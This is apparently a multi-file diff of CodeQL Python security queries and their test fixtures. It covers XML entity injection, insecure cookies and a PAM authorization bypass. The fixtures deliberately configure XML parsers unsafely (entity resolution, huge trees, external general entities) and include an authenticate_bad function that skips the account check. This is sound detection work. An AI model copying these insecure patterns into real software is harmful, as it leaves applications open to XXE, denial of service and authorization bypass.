result in [this.getArg(0), this.getArgByName("xml_input")]
|
||||
}
|
||||
|
||||
override predicate vulnerableTo(XML::XMLVulnerabilityKind kind) {
|
||||
(kind.isBillionLaughs() or kind.isQuadraticBlowup()) and
|
||||
this.getArgByName("disable_entities").getALocalSource().asExpr() = any(False f)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
import python
|
||||
import experimental.semmle.python.Concepts
|
||||
import semmle.python.dataflow.new.DataFlow
|
||||
import semmle.python.dataflow.new.TaintTracking
|
||||
import semmle.python.dataflow.new.RemoteFlowSources
|
||||
import semmle.python.dataflow.new.BarrierGuards
|
||||
|
||||
module XmlEntityInjection {
|
||||
import XmlEntityInjectionCustomizations::XmlEntityInjection
|
||||
|
||||
class XmlEntityInjectionConfiguration extends TaintTracking::Configuration {
|
||||
XmlEntityInjectionConfiguration() { this = "XmlEntityInjectionConfiguration" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) {
|
||||
source instanceof RemoteFlowSourceAsSource
|
||||
}
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
|
||||
|
||||
override predicate isSanitizerGuard(DataFlow::BarrierGuard guard) {
|
||||
guard instanceof SanitizerGuard
|
||||
}
|
||||
|
||||
override predicate isAdditionalTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
|
||||
any(AdditionalTaintStep s).step(nodeFrom, nodeTo)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,86 +0,0 @@
|
||||
/**
|
||||
* Provides default sources, sinks and sanitizers for detecting
|
||||
* "ldap injection"
|
||||
* vulnerabilities, as well as extension points for adding your own.
|
||||
*/
|
||||
|
||||
private import python
|
||||
private import semmle.python.dataflow.new.DataFlow
|
||||
private import experimental.semmle.python.Concepts
|
||||
private import semmle.python.dataflow.new.RemoteFlowSources
|
||||
private import semmle.python.dataflow.new.BarrierGuards
|
||||
private import semmle.python.ApiGraphs
|
||||
|
||||
/**
|
||||
* Provides default sources, sinks and sanitizers for detecting "xml injection"
|
||||
* vulnerabilities, as well as extension points for adding your own.
|
||||
*/
|
||||
module XmlEntityInjection {
|
||||
/**
|
||||
* A data flow source for "xml injection" vulnerabilities.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A data flow sink for "xml injection" vulnerabilities.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node {
|
||||
/** Gets the kind of XML injection that this sink is vulnerable to. */
|
||||
abstract string getVulnerableKind();
|
||||
}
|
||||
|
||||
/**
|
||||
* A sanitizer guard for "xml injection" vulnerabilities.
|
||||
*/
|
||||
abstract class SanitizerGuard extends DataFlow::BarrierGuard { }
|
||||
|
||||
/**
|
||||
* A unit class for adding additional taint steps.
|
||||
*
|
||||
* Extend this class to add additional taint steps that should apply to `XmlEntityInjection`
|
||||
* taint configuration.
|
||||
*/
|
||||
class AdditionalTaintStep extends Unit {
|
||||
/**
|
||||
* Holds if the step from `nodeFrom` to `nodeTo` should be considered a taint
|
||||
* step for `XmlEntityInjection` configuration.
|
||||
*/
|
||||
abstract predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo);
|
||||
}
|
||||
|
||||
/**
|
||||
* An input to a direct XML parsing function, considered as a flow sink.
|
||||
*
|
||||
* See `XML::XMLParsing`.
|
||||
*/
|
||||
class XMLParsingInputAsSink extends Sink {
|
||||
ExperimentalXML::XMLParsing xmlParsing;
|
||||
|
||||
XMLParsingInputAsSink() { this = xmlParsing.getAnInput() }
|
||||
|
||||
override string getVulnerableKind() { xmlParsing.vulnerableTo(result) }
|
||||
}
|
||||
|
||||
/**
|
||||
* A source of remote user input, considered as a flow source.
|
||||
*/
|
||||
class RemoteFlowSourceAsSource extends Source, RemoteFlowSource { }
|
||||
|
||||
/**
|
||||
* A comparison with a constant string, considered as a sanitizer-guard.
|
||||
*/
|
||||
class StringConstCompareAsSanitizerGuard extends SanitizerGuard, StringConstCompare { }
|
||||
|
||||
/**
|
||||
* A taint step for `io`'s `StringIO` and `BytesIO` methods.
|
||||
*/
|
||||
class IoAdditionalTaintStep extends AdditionalTaintStep {
|
||||
override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
|
||||
exists(DataFlow::CallCfgNode ioCalls |
|
||||
ioCalls = API::moduleImport("io").getMember(["StringIO", "BytesIO"]).getACall() and
|
||||
nodeFrom = ioCalls.getArg(0) and
|
||||
nodeTo = ioCalls
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
import python
|
||||
import experimental.semmle.python.Concepts
|
||||
import semmle.python.dataflow.new.DataFlow
|
||||
import semmle.python.dataflow.new.TaintTracking
|
||||
import semmle.python.dataflow.new.RemoteFlowSources
|
||||
|
||||
class CookieSink extends DataFlow::Node {
|
||||
string flag;
|
||||
|
||||
CookieSink() {
|
||||
exists(Cookie cookie |
|
||||
this in [cookie.getNameArg(), cookie.getValueArg()] and
|
||||
(
|
||||
not cookie.isSecure() and
|
||||
flag = "secure"
|
||||
or
|
||||
not cookie.isHttpOnly() and
|
||||
flag = "httponly"
|
||||
or
|
||||
not cookie.isSameSite() and
|
||||
flag = "samesite"
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
string getFlag() { result = flag }
|
||||
}
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for detecting Cookie injections.
|
||||
*/
|
||||
class CookieInjectionFlowConfig extends TaintTracking::Configuration {
|
||||
CookieInjectionFlowConfig() { this = "CookieInjectionFlowConfig" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) {
|
||||
exists(Cookie c | sink in [c.getNameArg(), c.getValueArg()])
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
name: codeql/python-queries
|
||||
version: 0.1.1-dev
|
||||
version: 0.1.2-dev
|
||||
groups:
|
||||
- python
|
||||
- queries
|
||||
|
||||
@@ -131,7 +131,7 @@ DataFlow::Node foo() { foo(DataFlow::TypeTracker::end()).flowsTo(result) }
|
||||
/** Gets a reference to `foo.bar` (fictive module). */
|
||||
private DataFlow::TypeTrackingNode foo_bar(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
result = API::moduleImport("foo.bar").getAnImmediateUse()
|
||||
result = API::moduleImport("foo").getMember("bar").getAnImmediateUse()
|
||||
or
|
||||
t.startInAttr("bar") and
|
||||
result = foo()
|
||||
@@ -145,7 +145,7 @@ DataFlow::Node foo_bar() { foo_bar(DataFlow::TypeTracker::end()).flowsTo(result)
|
||||
/** Gets a reference to `foo.bar.baz` (fictive attribute on `foo.bar` module). */
|
||||
private DataFlow::TypeTrackingNode foo_bar_baz(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
result = API::moduleImport("foo.bar.baz").getAnImmediateUse()
|
||||
result = API::moduleImport("foo").getMember("bar").getMember("baz").getAnImmediateUse()
|
||||
or
|
||||
t.startInAttr("baz") and
|
||||
result = foo_bar()
|
||||
|
||||
@@ -1,33 +0,0 @@
|
||||
import python
|
||||
import experimental.semmle.python.Concepts
|
||||
import experimental.semmle.python.frameworks.Xml
|
||||
import semmle.python.dataflow.new.DataFlow
|
||||
import TestUtilities.InlineExpectationsTest
|
||||
private import semmle.python.dataflow.new.internal.PrintNode
|
||||
|
||||
class XmlParsingTest extends InlineExpectationsTest {
|
||||
XmlParsingTest() { this = "XmlParsingTest" }
|
||||
|
||||
override string getARelevantTag() { result in ["input", "vuln"] }
|
||||
|
||||
override predicate hasActualResult(Location location, string element, string tag, string value) {
|
||||
exists(location.getFile().getRelativePath()) and
|
||||
exists(XML::XMLParsing parsing |
|
||||
exists(DataFlow::Node input |
|
||||
input = parsing.getAnInput() and
|
||||
location = input.getLocation() and
|
||||
element = input.toString() and
|
||||
value = prettyNodeForInlineTest(input) and
|
||||
tag = "input"
|
||||
)
|
||||
or
|
||||
exists(XML::XMLVulnerabilityKind kind |
|
||||
parsing.vulnerableTo(kind) and
|
||||
location = parsing.getLocation() and
|
||||
element = parsing.toString() and
|
||||
value = "'" + kind + "'" and
|
||||
tag = "vuln"
|
||||
)
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
from io import StringIO
|
||||
import lxml.etree
|
||||
|
||||
x = "some xml"
|
||||
|
||||
# different parsing methods
|
||||
lxml.etree.fromstring(x) # $ input=x vuln='XXE'
|
||||
lxml.etree.fromstring(text=x) # $ input=x vuln='XXE'
|
||||
|
||||
lxml.etree.fromstringlist([x]) # $ input=List vuln='XXE'
|
||||
lxml.etree.fromstringlist(strings=[x]) # $ input=List vuln='XXE'
|
||||
|
||||
lxml.etree.XML(x) # $ input=x vuln='XXE'
|
||||
lxml.etree.XML(text=x) # $ input=x vuln='XXE'
|
||||
|
||||
lxml.etree.parse(StringIO(x)) # $ input=StringIO(..) vuln='XXE'
|
||||
lxml.etree.parse(source=StringIO(x)) # $ input=StringIO(..) vuln='XXE'
|
||||
|
||||
lxml.etree.parseid(StringIO(x)) # $ input=StringIO(..) vuln='XXE'
|
||||
lxml.etree.parseid(source=StringIO(x)) # $ input=StringIO(..) vuln='XXE'
|
||||
|
||||
# With default parsers (nothing changed)
|
||||
parser = lxml.etree.XMLParser()
|
||||
lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='XXE'
|
||||
|
||||
parser = lxml.etree.get_default_parser()
|
||||
lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='XXE'
|
||||
|
||||
# manual use of feed method
|
||||
parser = lxml.etree.XMLParser()
|
||||
parser.feed(x) # $ input=x vuln='XXE'
|
||||
parser.feed(data=x) # $ input=x vuln='XXE'
|
||||
parser.close()
|
||||
|
||||
# XXE-safe
|
||||
parser = lxml.etree.XMLParser(resolve_entities=False)
|
||||
lxml.etree.fromstring(x, parser) # $ input=x
|
||||
lxml.etree.fromstring(x, parser=parser) # $ input=x
|
||||
|
||||
# XXE-vuln
|
||||
parser = lxml.etree.XMLParser(resolve_entities=True)
|
||||
lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='XXE'
|
||||
|
||||
# Billion laughs vuln (also XXE)
|
||||
parser = lxml.etree.XMLParser(huge_tree=True)
|
||||
lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup' vuln='XXE'
|
||||
|
||||
# Safe for both Billion laughs and XXE
|
||||
parser = lxml.etree.XMLParser(resolve_entities=False, huge_tree=True)
|
||||
lxml.etree.fromstring(x, parser=parser) # $ input=x
|
||||
|
||||
# DTD retrival vuln (also XXE)
|
||||
parser = lxml.etree.XMLParser(load_dtd=True, no_network=False)
|
||||
lxml.etree.fromstring(x, parser=parser) # $ input=x vuln='DTD retrieval' vuln='XXE'
|
||||
@@ -1 +0,0 @@
|
||||
SECRET_FLAG
|
||||
@@ -1 +0,0 @@
|
||||
just FYI
|
||||
@@ -1,31 +0,0 @@
|
||||
from io import StringIO
|
||||
import xml.dom.minidom
|
||||
import xml.dom.pulldom
|
||||
import xml.sax
|
||||
|
||||
x = "some xml"
|
||||
|
||||
# minidom
|
||||
xml.dom.minidom.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.dom.minidom.parse(file=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
xml.dom.minidom.parseString(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.dom.minidom.parseString(string=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
|
||||
# pulldom
|
||||
xml.dom.pulldom.parse(StringIO(x))['START_DOCUMENT'][1] # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.dom.pulldom.parse(stream_or_string=StringIO(x))['START_DOCUMENT'][1] # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
xml.dom.pulldom.parseString(x)['START_DOCUMENT'][1] # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.dom.pulldom.parseString(string=x)['START_DOCUMENT'][1] # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
|
||||
# These are based on SAX parses, and you can specify your own, so you can expose yourself to XXE (yay/)
|
||||
parser = xml.sax.make_parser()
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, True)
|
||||
xml.dom.minidom.parse(StringIO(x), parser) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
|
||||
xml.dom.minidom.parse(StringIO(x), parser=parser) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
|
||||
|
||||
xml.dom.pulldom.parse(StringIO(x), parser) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
|
||||
xml.dom.pulldom.parse(StringIO(x), parser=parser) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
|
||||
@@ -1,45 +0,0 @@
|
||||
from io import StringIO
|
||||
import xml.etree.ElementTree
|
||||
|
||||
x = "some xml"
|
||||
|
||||
# Parsing in different ways
|
||||
xml.etree.ElementTree.fromstring(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.etree.ElementTree.fromstring(text=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
xml.etree.ElementTree.fromstringlist([x]) # $ input=List vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.etree.ElementTree.fromstringlist(sequence=[x]) # $ input=List vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
xml.etree.ElementTree.XML(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.etree.ElementTree.XML(text=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
xml.etree.ElementTree.XMLID(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.etree.ElementTree.XMLID(text=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
xml.etree.ElementTree.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.etree.ElementTree.parse(source=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
xml.etree.ElementTree.iterparse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.etree.ElementTree.iterparse(source=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
|
||||
# With parsers (no options available to disable/enable security features)
|
||||
parser = xml.etree.ElementTree.XMLParser()
|
||||
xml.etree.ElementTree.fromstring(x, parser=parser) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
# manual use of feed method
|
||||
parser = xml.etree.ElementTree.XMLParser()
|
||||
parser.feed(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
parser.feed(data=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
parser.close()
|
||||
|
||||
# manual use of feed method on XMLPullParser
|
||||
parser = xml.etree.ElementTree.XMLPullParser()
|
||||
parser.feed(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
parser.feed(data=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
parser.close()
|
||||
|
||||
# note: it's technically possible to use the thing wrapper func `fromstring` with an
|
||||
# `lxml` parser, and thereby change what vulnerabilities you are exposed to.. but it
|
||||
# seems very unlikely that anyone would do this, so we have intentionally not added any
|
||||
# tests for this.
|
||||
@@ -1,64 +0,0 @@
|
||||
from io import StringIO
|
||||
import xml.sax
|
||||
|
||||
x = "some xml"
|
||||
|
||||
class MainHandler(xml.sax.ContentHandler):
|
||||
def __init__(self):
|
||||
self._result = []
|
||||
|
||||
def characters(self, data):
|
||||
self._result.append(data)
|
||||
|
||||
xml.sax.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.sax.parse(source=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
xml.sax.parseString(x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
xml.sax.parseString(string=x) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
parser = xml.sax.make_parser()
|
||||
parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
parser.parse(source=StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
# You can make it vuln to both XXE and DTD retrieval by setting this flag
|
||||
# see https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
|
||||
parser = xml.sax.make_parser()
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, True)
|
||||
parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
|
||||
|
||||
parser = xml.sax.make_parser()
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, False)
|
||||
parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
# Forward Type Tracking test
|
||||
def func(cond):
|
||||
parser = xml.sax.make_parser()
|
||||
if cond:
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, True)
|
||||
parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
|
||||
else:
|
||||
parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
# make it vuln, then making it safe
|
||||
# a bit of an edge-case, but is nice to be able to handle.
|
||||
parser = xml.sax.make_parser()
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, True)
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, False)
|
||||
parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
|
||||
def check_conditional_assignment(cond):
|
||||
parser = xml.sax.make_parser()
|
||||
if cond:
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, True)
|
||||
else:
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, False)
|
||||
parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
|
||||
|
||||
def check_conditional_assignment2(cond):
|
||||
parser = xml.sax.make_parser()
|
||||
if cond:
|
||||
flag_value = True
|
||||
else:
|
||||
flag_value = False
|
||||
parser.setFeature(xml.sax.handler.feature_external_ges, flag_value)
|
||||
parser.parse(StringIO(x)) # $ input=StringIO(..) vuln='Billion Laughs' vuln='DTD retrieval' vuln='Quadratic Blowup' vuln='XXE'
|
||||
@@ -1,8 +0,0 @@
|
||||
import xmltodict
|
||||
|
||||
x = "some xml"
|
||||
|
||||
xmltodict.parse(x) # $ input=x
|
||||
xmltodict.parse(xml_input=x) # $ input=x
|
||||
|
||||
xmltodict.parse(x, disable_entities=False) # $ input=x vuln='Billion Laughs' vuln='Quadratic Blowup'
|
||||
@@ -539,3 +539,54 @@ class HttpClientRequestTest extends InlineExpectationsTest {
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
class CsrfProtectionSettingTest extends InlineExpectationsTest {
|
||||
CsrfProtectionSettingTest() { this = "CsrfProtectionSettingTest" }
|
||||
|
||||
override string getARelevantTag() { result = "CsrfProtectionSetting" }
|
||||
|
||||
override predicate hasActualResult(Location location, string element, string tag, string value) {
|
||||
exists(location.getFile().getRelativePath()) and
|
||||
exists(HTTP::Server::CsrfProtectionSetting setting |
|
||||
location = setting.getLocation() and
|
||||
element = setting.toString() and
|
||||
value = setting.getVerificationSetting().toString() and
|
||||
tag = "CsrfProtectionSetting"
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
class CsrfLocalProtectionSettingTest extends InlineExpectationsTest {
|
||||
CsrfLocalProtectionSettingTest() { this = "CsrfLocalProtectionSettingTest" }
|
||||
|
||||
override string getARelevantTag() { result = "CsrfLocalProtection" + ["Enabled", "Disabled"] }
|
||||
|
||||
override predicate hasActualResult(Location location, string element, string tag, string value) {
|
||||
exists(location.getFile().getRelativePath()) and
|
||||
exists(HTTP::Server::CsrfLocalProtectionSetting p |
|
||||
location = p.getLocation() and
|
||||
element = p.toString() and
|
||||
value = p.getRequestHandler().getName().toString() and
|
||||
if p.csrfEnabled()
|
||||
then tag = "CsrfLocalProtectionEnabled"
|
||||
else tag = "CsrfLocalProtectionDisabled"
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
class XmlParsingTest extends InlineExpectationsTest {
|
||||
XmlParsingTest() { this = "XmlParsingTest" }
|
||||
|
||||
override string getARelevantTag() { result = "xmlVuln" }
|
||||
|
||||
override predicate hasActualResult(Location location, string element, string tag, string value) {
|
||||
exists(location.getFile().getRelativePath()) and
|
||||
exists(XML::XmlParsing parsing, XML::XmlParsingVulnerabilityKind kind |
|
||||
parsing.vulnerableTo(kind) and
|
||||
location = parsing.getLocation() and
|
||||
element = parsing.toString() and
|
||||
value = "'" + kind + "'" and
|
||||
tag = "xmlVuln"
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
| pam_test.py:48:18:48:44 | ControlFlowNode for pam_authenticate() | This PAM authentication call may be lead to an authorization bypass. |
|
||||
@@ -0,0 +1 @@
|
||||
experimental/Security/CWE-285/PamAuthorization.ql
|
||||
@@ -0,0 +1,63 @@
|
||||
from ctypes import CDLL, POINTER, Structure, byref
|
||||
from ctypes import c_char_p, c_int
|
||||
from ctypes.util import find_library
|
||||
|
||||
|
||||
class PamHandle(Structure):
|
||||
pass
|
||||
|
||||
|
||||
class PamMessage(Structure):
|
||||
pass
|
||||
|
||||
|
||||
class PamResponse(Structure):
|
||||
pass
|
||||
|
||||
|
||||
class PamConv(Structure):
|
||||
pass
|
||||
|
||||
# this is normal way to do things
|
||||
libpam = CDLL(find_library("pam"))
|
||||
|
||||
# but we also handle assignment to temp variable
|
||||
temp = find_library("pam")
|
||||
libpam = CDLL(temp)
|
||||
|
||||
pam_start = libpam.pam_start
|
||||
pam_start.restype = c_int
|
||||
pam_start.argtypes = [c_char_p, c_char_p, POINTER(PamConv), POINTER(PamHandle)]
|
||||
|
||||
pam_authenticate = libpam.pam_authenticate
|
||||
pam_authenticate.restype = c_int
|
||||
pam_authenticate.argtypes = [PamHandle, c_int]
|
||||
|
||||
pam_acct_mgmt = libpam.pam_acct_mgmt
|
||||
pam_acct_mgmt.restype = c_int
|
||||
pam_acct_mgmt.argtypes = [PamHandle, c_int]
|
||||
|
||||
|
||||
class pam():
|
||||
|
||||
def authenticate_bad(self, username, service='login'):
|
||||
handle = PamHandle()
|
||||
conv = PamConv(None, 0)
|
||||
retval = pam_start(service, username, byref(conv), byref(handle))
|
||||
|
||||
retval = pam_authenticate(handle, 0)
|
||||
auth_success = retval == 0
|
||||
|
||||
return auth_success
|
||||
|
||||
def authenticate_good(self, username, service='login'):
|
||||
handle = PamHandle()
|
||||
conv = PamConv(None, 0)
|
||||
retval = pam_start(service, username, byref(conv), byref(handle))
|
||||
|
||||
retval = pam_authenticate(handle, 0)
|
||||
if retval == 0:
|
||||
retval = pam_acct_mgmt(handle, 0)
|
||||
auth_success = retval == 0
|
||||
|
||||
return auth_success
|
||||
@@ -0,0 +1 @@
|
||||
| xmlrpc_server.py:7:10:7:48 | ControlFlowNode for SimpleXMLRPCServer() | SimpleXMLRPCServer is vulnerable to XML bombs |
|
||||
@@ -1 +0,0 @@
|
||||
| xmlrpc_server.py:7:10:7:48 | ControlFlowNode for SimpleXMLRPCServer() | SimpleXMLRPCServer is vulnerable to: Billion Laughs, Quadratic Blowup. |
|
||||
@@ -1 +0,0 @@
|
||||
experimental/Security/CWE-611/XmlEntityInjection.ql
|
||||
@@ -0,0 +1,63 @@
|
||||
edges
|
||||
| django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring |
|
||||
| django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | django_bad.py:27:30:27:124 | ControlFlowNode for Fstring |
|
||||
| flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:21:24:32 | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:24:21:24:27 | ControlFlowNode for request | flask_bad.py:24:49:24:60 | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:24:21:24:32 | ControlFlowNode for Attribute | flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript |
|
||||
| flask_bad.py:24:49:24:55 | ControlFlowNode for request | flask_bad.py:24:49:24:60 | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:24:49:24:60 | ControlFlowNode for Attribute | flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript |
|
||||
| flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:37:32:48 | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:32:37:32:43 | ControlFlowNode for request | flask_bad.py:32:60:32:71 | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:32:37:32:48 | ControlFlowNode for Attribute | flask_bad.py:32:37:32:56 | ControlFlowNode for Subscript |
|
||||
| flask_bad.py:32:37:32:56 | ControlFlowNode for Subscript | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring |
|
||||
| flask_bad.py:32:60:32:66 | ControlFlowNode for request | flask_bad.py:32:60:32:71 | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:32:60:32:71 | ControlFlowNode for Attribute | flask_bad.py:32:60:32:80 | ControlFlowNode for Subscript |
|
||||
| flask_bad.py:32:60:32:80 | ControlFlowNode for Subscript | flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring |
|
||||
nodes
|
||||
| django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
|
||||
| django_bad.py:20:21:20:56 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
|
||||
| django_bad.py:27:30:27:124 | ControlFlowNode for Fstring | semmle.label | ControlFlowNode for Fstring |
|
||||
| django_bad.py:27:33:27:67 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
|
||||
| django_bad.py:27:71:27:106 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() |
|
||||
| flask_bad.py:24:21:24:27 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
|
||||
| flask_bad.py:24:21:24:32 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:24:21:24:40 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
|
||||
| flask_bad.py:24:49:24:55 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
|
||||
| flask_bad.py:24:49:24:60 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:24:49:24:69 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
|
||||
| flask_bad.py:32:34:32:98 | ControlFlowNode for Fstring | semmle.label | ControlFlowNode for Fstring |
|
||||
| flask_bad.py:32:37:32:43 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
|
||||
| flask_bad.py:32:37:32:48 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:32:37:32:56 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
|
||||
| flask_bad.py:32:60:32:66 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
|
||||
| flask_bad.py:32:60:32:71 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
|
||||
| flask_bad.py:32:60:32:80 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
|
||||
subpaths
|
||||
#select
|
||||
| django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its httponly flag is not properly set. | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its samesite flag is not properly set. | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
| django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | Cookie is constructed from a $@,and its secure flag is not properly set. | django_bad.py:19:21:19:55 | ControlFlowNode for Attribute() | user-supplied input |
|
||||
